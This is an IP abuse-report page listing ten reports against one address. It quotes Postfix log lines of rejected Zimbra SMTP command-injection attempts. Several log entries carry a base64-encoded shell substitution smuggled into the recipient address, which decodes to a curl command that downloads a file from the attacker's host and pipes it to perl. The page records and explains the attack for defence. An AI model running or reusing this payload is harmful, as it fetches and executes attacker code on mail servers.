This IP address has been reported a total of
10
times from
7 distinct
sources.
75.119.130.237 was first reported on
, and the most recent report was
.
Recent Reports:
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
$(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash)
http://75.119. ...
show more$(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash)
http://75.119.130.237:8080/ir1.gif|perl
show less
Zimbra SMTP command-injection attempt: RCPT TO address crafted to inject a fake Service status chang ...
show moreZimbra SMTP command-injection attempt: RCPT TO address crafted to inject a fake Service status change" line into the mail log
show less
Zimbra SMTP command-injection attempt: RCPT TO address crafted to inject a fake "Service status chan ...
show moreZimbra SMTP command-injection attempt: RCPT TO address crafted to inject a fake "Service status change" line into the mail log, where the swatchdog monitor would interpolate it into a shell. Envelope sender [email protected], HELO mx-test.invalid. 40 attempts against 2 of our mail servers between 2026-08-29T00:33 and 2026-08-29T14:16 (UTC+3). All rejected 554 5.7.1. Reverse DNS: vmi2962096.contaboserver.net.
show less
Aug 29 05:21:25 clientium postfix/submission/smtpd[3387789]: NOQUEUE: reject: RCPT from vmi2962096.c ...
show moreAug 29 05:21:25 clientium postfix/submission/smtpd[3387789]: NOQUEUE: reject: RCPT from vmi2962096.contaboserver.net[75.119.130.237]: 554 5.7.1 <vmi2962096.contaboserver.net[75.119.130.237]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
...
show less
Fraud Orders
Web Spam
Email Spam
Hacking
Spoofing
Brute-Force
Web App Attack
Aug 28 21:43:21 clientium postfix/smtps/smtpd[3029214]: NOQUEUE: reject: RCPT from vmi2962096.contab ...
show moreAug 28 21:43:21 clientium postfix/smtps/smtpd[3029214]: NOQUEUE: reject: RCPT from vmi2962096.contaboserver.net[75.119.130.237]: 554 5.7.1 <x: Service status change: localhost $(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash) changed from stopped to [email protected]>: Recipient address rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
...
show less
Fraud Orders
Web Spam
Email Spam
Hacking
Spoofing
Brute-Force
Web App Attack
Aug 28 20:14:11 clientium postfix/smtps/smtpd[2964896]: NOQUEUE: reject: RCPT from vmi2962096.contab ...
show moreAug 28 20:14:11 clientium postfix/smtps/smtpd[2964896]: NOQUEUE: reject: RCPT from vmi2962096.contaboserver.net[75.119.130.237]: 554 5.7.1 <x: Service status change: localhost $(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash) changed from stopped to [email protected]>: Recipient address rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
...
show less
Fraud Orders
Web Spam
Email Spam
Hacking
Spoofing
Brute-Force
Web App Attack
Aug 28 18:21:23 clientium postfix/smtps/smtpd[2869171]: NOQUEUE: filter: RCPT from vmi2962096.contab ...
show moreAug 28 18:21:23 clientium postfix/smtps/smtpd[2869171]: NOQUEUE: filter: RCPT from vmi2962096.contaboserver.net[75.119.130.237]: <[email protected]>: Sender address triggers FILTER smtp-amavis:[127.0.0.1]:10024; from=<[email protected]> to=<"x: Service status change: localhost $(echo Y3VybCBodHRwOi8vNzUuMTE5LjEzMC4yMzc6ODA4MC9pcjEuZ2lmfHBlcmw=|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
...
show less
Fraud Orders
Web Spam
Email Spam
Hacking
Spoofing
Brute-Force
Web App Attack
Showing 1 to
10
of 10 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown ๐ฉ